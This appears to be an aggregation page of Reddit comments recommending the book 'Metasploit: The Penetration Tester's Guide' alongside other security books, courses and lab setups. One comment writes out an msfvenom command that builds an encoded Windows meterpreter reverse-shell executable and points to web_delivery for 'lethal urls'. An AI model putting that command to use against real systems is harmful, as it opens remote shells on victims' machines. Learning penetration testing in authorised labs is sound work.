Reddit reviews Metasploit: The Penetration Tester's Guide
We found 19 Reddit comments about Metasploit: The Penetration Tester's Guide. Here are the top ones, ranked by their Reddit score.
No Starch Press
In my opinion; every book in this bundle is a bag of shit.
Here's a list of reputable books, again in my opinion (All links are Non-Affiliate Links):
Web Hacking:
The Web Hackers Handbook (Link)
Infrastructure:
Network Security Assessment (Link)
Please Note: The examples in the book are dated (even though it's been updated to v3), but this book is the best for learning Infrastructure Testing Methodology.
General:
Hacking: The Art of Exploitation (Link)
Grey Hat Hacking (Link)
Linux:
Hacking Exposed: Linux (I don't have a link to a specific book as there are many editions / revisions for this book. Please read the reviews for the edition you want to purchase)
Metasploit:
I recommend the online course "Metaspliot Unleashed" (Link) as opposed to buying the book (Link).
Nmap:
The man pages. The book (Link) is a great reference and looks great on the bookshelf. The reality is, using Nmap is like baking a cake. There are too many variables involved in running the perfect portscan, every environment is different and as such will require tweaking to run efficiently.
Malware Analysis:
Practical Malware Analysis (Link)
The book is old, but the methodology is rock solid.
Programming / Scripting:
Python: Automate the Boring Stuff (Link)
Hope that helps.
Most current information you are going to want to read online. There is no substitute for that. The books I'm currently reading through are:
The Web Application Hacker's Handbook 2nd Ed
The Tangled Web
Metasploit: The Penetration Tester's Guide
Webbots, Spiders and Screen Scrapers
NoStarchPress fanboy all the way :)
Keep in mind, though, that the technical requirements are only half of being employable. You also need to be a good employee, who can work with the client and keep them satisfied. For those, I recommend:
True Professionalism
Trusted Advisor
Wow, 24 hours and no replies?!
Fine, you know what? FUCK IT!
Alright, first off - While you can concentrate on physical, understanding the basics of the digital side of things will make you more valuable, and arguably more effective. I'll take this opportunity to point you at Metasploit and tell you to atleast spend an hour or so each week working to understand it. I'm not saying you have to know it backwards or inside-out, just get a basic understanding.
But you said you want to go down the physical path, so fuck all that bullshit I said before, ignore it if you want, I don't care. It's just a suggestion.
Do you pick locks? Why not? Come on over to /r/Lockpicking and read the stickied post at the top. Buy a lockpick set. You're just starting so you can go a little crazy, or be conservative. Get some locks (Don't pick locks you rely on!) at a store, and learn the basics of how to pick.
Your fingers will get sore. Time to put down the picks and start reading:
That reading list right there gives you over 2000 pages to read. Read. Read More.
Tired of Reading? Have you been listening to the Social-Engineer.org Podcasts? 53 quality podcasts right there. Time to catch up!
Tired of listening? Take a break! And by "Take a break" I mean grab your lockpicks, a lock, and start picking while you relax with a Jayson Street video. He's fun to watch, and will hopefully distract you while you try picking a lock. Also, he highlights how you don't have to be a computer-genius to be good at PenTesting. Go watch more of his videos while you pick locks - It's entertaining at least, and informative/educational at best. Now go watch Deviant Ollam's videos if you're done with Jayson Street.
Sounds like a lot? It's not. You'll spend a bit of money getting started with picks, locks, and books. It's the nature of the game, no good way around it. It's time-consuming. You may have to give up playing your favourite games for a while. But the things you learn and skills you develop will pay more than that game did. By the time you're halfway through any one of those books you'll have a much better idea of what questions you want or need to ask in order to progress further and faster every day.
Go to Security Cons. DerbyCon is awesome, and happens in late September, plenty of time to start saving money and making reservations. Talk to people, ask questions, and make connections. You will learn more in those 4 days than some people learn in months or years and you'll have tons of fun.
If you can swing it, attend Deviant Ollam's "Physical Security Skills for Penetration Testers" class. The things you will learn in that class will make it worth every damned penny, and you'll feel like a bad-ass at the end of it.
Is this what you wanted?
I actually already have a copy of Hacking: The Art of Exploitation. My personal library consists of around 45 books on a range of computing topics from PHP, MySQL, C++, Windows Internals, CCNA, MCSE/MCSA, Unix, Rootkits, AI, Data Structures and the list goes on.
Other relevant titles include Gray Hat Python, Reversing: Secrets of Reverse Engineering and Rootkits: Subverting the Windows Kernel.
I was going to buy the following: Assembly Language Step-by-step, SQL Injection Attacks and Defense and Metasploit: The Penetration Tester's Guide.
I agree that where one starts really depends on what they want to end up doing. "Hacking" is such a general term and SQL-Injections is completely different from finding 0-days. If I'm honest I'm not sure where to start but I'm open to suggestions.
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I wouldn't recommend starting off with metasploit, what you want to do is learn the basics on linux, I would recommend this book: http://www.amazon.com/Introduction-Unix-Linux-John-Muster/dp/0072226951
After that, learn some info sec theories (boring, but important if you want to make a career out of it.)
these two books are what I used: http://www.amazon.com/Computer-Security-Fundamentals-William-Easttom/dp/0131711296
http://www.amazon.com/Information-Security-Principles-Mark-Merkow/dp/0131547291/ref=pd_sim_b_2
The first book is mostly intro to basic concepts such as port scanning, firewalls, networking, etc. the second is info sec theories
This would most likely be your next book to buy, its a little more advanced, and has some challenging content in it.
http://www.amazon.com/Analyzing-Computer-Security-Vulnerability-Countermeasure/dp/0132789469
Finally grab this bad boy http://www.amazon.com/Metasploit-The-Penetration-Testers-Guide/dp/159327288X
you should have some decent knowledge about network security by then.
Man, look at this guy over here who thinks he knows something about metasploit! ;-)
Yeah, Metasploit Unleashed is a great place to start, and if you want more this book is basically Metasploit Unleashed 2: The Unleashening - Now With More Narrative.
If you still want more, you're probably better off with something like Pentesting With Kali that puts metasploit in its context and forces more hands on use or you should be prepared to follow the blogs for new features and read the source.. It's not that bad in there, really. ;-)
I wouldn't say this a good training book as it's just a list of commands that can be used as a reference for those who already know what they're doing but need to job their memory.
I'd say look at Metasploit The Penetration Testers Guide or Georgia's book Penetration Testing A Hands On Introduction to Hacking to get started off.
best advice i can give is to start reading anything and everything you can get your hands on related to programming, operating systems, networking, security, etc......
a few books i'm reading/have read/on my list to read and all are excellent starting points:
BackTrack 4: Assuring Security by Penetration Testing (this book was just released and still relevant when using BackTrack5)
Metasploit: The Penetration Tester's Guide
Ninja Hacking: Unconventional Penetration Testing Tactics and Techniques
Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning
Gray Hat Hacking The Ethical Hackers Handbook, 3rd Edition
plenty of links to keep you busy for awhile:
Open Penetration Testing Bookmarks Collection
I personally like nessus. However, since you call yourself a security novice, you might want to hire a specialized IT firm to make an (first?) audit for you. Backtrack and such are not the friendly tool you should use in a production environment plus, if you are not sure of what you are doing... your audit might end up completely useless and give you a false feeling of "security".
Get this book, and set up a home lab (WITHOUT INTERNET ACCESS!). You'll learn a lot, without endangering your JOB.
Buy and read this.
Metasploit: The Penetration Tester's Guide
https://www.amazon.com/dp/159327288X/ref=cm_sw_r_cp_api_Q1CjybJZQEFM1
Oh you wanted books. For some reason I thought you wanted things to learn about, like you didn't think it was that easy or something.
The Art of Deception.
Pretty much anything by this guy.
This book gives you an insight to how the good guys go about fixing things once they go bad.
Metasploit is the novice's wet dream, as it's pretty easy to get started with and opens up a world of sophisticated exploits which wouldn't normally be available to someone new to the world of hacking.
Those are some books that might not get listed elsewhere, simply because they don't all literally tell you how to hack, as much as give you some idea as to what hacking means from different perspectives.
Edit: Reposting some of the other guy's books as he seems to think linking to publicly available materials is going to make some person on Reddit the next LulzSec 'mastermind' or something.
Hacking Exposed, Anti-Hacker Toolkit, Practical Malware Analysis, The Rootkit Arsenal, Steal This Computer Book.
You're not going to be a l33t h4x0r just by reading a few books, but you won't not be, either. :D
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<port for listener> -f exe -e shinikata_ga_nai -i 9 -o <where you want it saved>
you can use --help-formats for other file formats other than exe. I recommend you do that to get experience.
alternatively, try using the web_delivery module in metasploit to generate lethal urls.
climbs upon soap box this is the problem with Armitage. Raphael is the nicest guy in the world, but putting that gui over the tools took the script out of script kiddie. you're not understanding what's going on under the hood, so you dunno, fundamentally why things are broken.
buy this and read it. you'll be miles ahead of where you are now and you'll see that armitage is only holding you back.
Sorry this has taken me so long to get too. Been busy.
First, understand that Kali is nothing mote than a collection of tools. Its those tools that you are actually wanting to learn.
KaliTutorials is one place you can start.
Also, there is an abundance of videos on YouTube and if you are serious about wanting to learn penetration testing/security makes sure you book mark Irongeek
Like I said earlier, by the time books are written, edited, and published, they can often be out of date.
If you do want to understand some of the basics, here are books you should look at:
Metasploit: The Penetration Tester's Guide
rtfm
btfm
Basic Security Testing with Kali Linux 2 I havent read this one but I have heard good things
The Hacker Playbook
[The Hacker Playbook 2] (https://www.amazon.com/Hacker-Playbook-Practical-Penetration-Testing/dp/1512214566/ref=pd_sim_14_4?_encoding=UTF8&amp;pd_rd_i=1512214566&amp;pd_rd_r=2HDYK8BDM5MR8PV03JG8&amp;pd_rd_w=kiAl7&amp;pd_rd_wg=fAjYi&amp;psc=1&amp;refRID=2HDYK8BDM5MR8PV03JG8)
Also a good list of resources can be found here: cybrary.it
You can print each page and combine them (not exciting work, but it doesn't take long). Alternatively https://www.amazon.com/Metasploit-Penetration-Testers-David-Kennedy/dp/159327288X
There isn't an official version of Off Sec's web version that I know of.
Not all will be. Metasploitable comes in a vm. I believe Damn Vulnerably Linux (DVL) is a live cd. DVL is discontinued though so its hard to find.
You could always install vulnerable services yourself and try breaking into them. Check out NVD for vulnerabilities in software. There are also tons of resources out there to learn, some free, some not. For example, Metasploit Unleashed is a good free resource. There are also many books such as An Introduction to Penetration Testing and Metasploit.
Please also remember to keep what ever you do legal. Do not attempt to break into systems unless you have permission from the owner or you own it, etc, etc. This is why I recommended vms. It is easy to keep all pen testing in an isolated environment.
I am currently a penetration tester with a small Healthcare penetration company. We perform black box security tests for Hospitals and Health Care organizations.
If you are looking for actual schooling then I suggest looking for a university with a Network Security/Information Assurance Degree. There are not too many with dedicated degrees, but it is becoming a much more popular field.
Most importantly go get some literature on the subject. Although reading can not take the place of actual experience, most books these days are designed to go along side of hands on experience or provide information if you wish to "further refine your skills".
If you are new to security I would suggest "The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy" By Patrick Engebretson. It is a great entry level book designed to introduce you to the concepts of penetration testing.
If you want to get down and dirty quickly "
Metasploit: The Penetration Tester's Guide" By David Kennedy is another great book though a bit more technical then the last.
These are only a few of many great books. If you want to become a good penetration tester, taste the fundamentals and then pick a focus to get good at. There are few jacks of all trades in Penetration testing.
https://www.amazon.com/Metasploit-Penetration-Testers-David-Kennedy/dp/159327288X/ref=sr_1_1?ie=UTF8&amp;qid=1481911906&amp;sr=8-1&amp;keywords=metasploit+unleashed
There's this book on Metasploit...
I was given about 20k worth nexpose and metasploit licenses to start doing public pen testing.
i don't know what the i'm doing. So maybe this will help thanks heartbleed, bash, and coldfusion exploits